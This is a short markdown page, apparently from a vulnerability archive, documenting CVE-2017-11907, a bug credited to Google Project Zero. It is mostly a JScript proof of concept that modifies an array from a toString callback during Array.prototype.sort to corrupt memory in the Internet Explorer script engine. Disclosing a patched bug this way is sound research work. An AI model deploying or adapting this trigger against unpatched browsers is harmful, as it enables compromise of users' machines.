Skip to content

Latest commit

 

History

History
36 lines (25 loc) · 615 Bytes

CVE-2017-11907.md

File metadata and controls

36 lines (25 loc) · 615 Bytes

CVE-2017-11907

  • Report: Oct 2017
  • Fix: Dec 2017
  • Credit: ifratric of Google Project Zero

PoC

<script language="Jscript.Encode">
var vars = new Array(100);

var arr = new Array(1000);
for(var i=1;i<600;i++) arr[i] = i;

var o = {toString:function() {
  for(var i=600;i<1000;i++) {
    arr[i] = 1337;
  }
}}

function go() {
  arr[0] = o;
  Array.prototype.sort.call(arr);
}


go();

</script>

Reference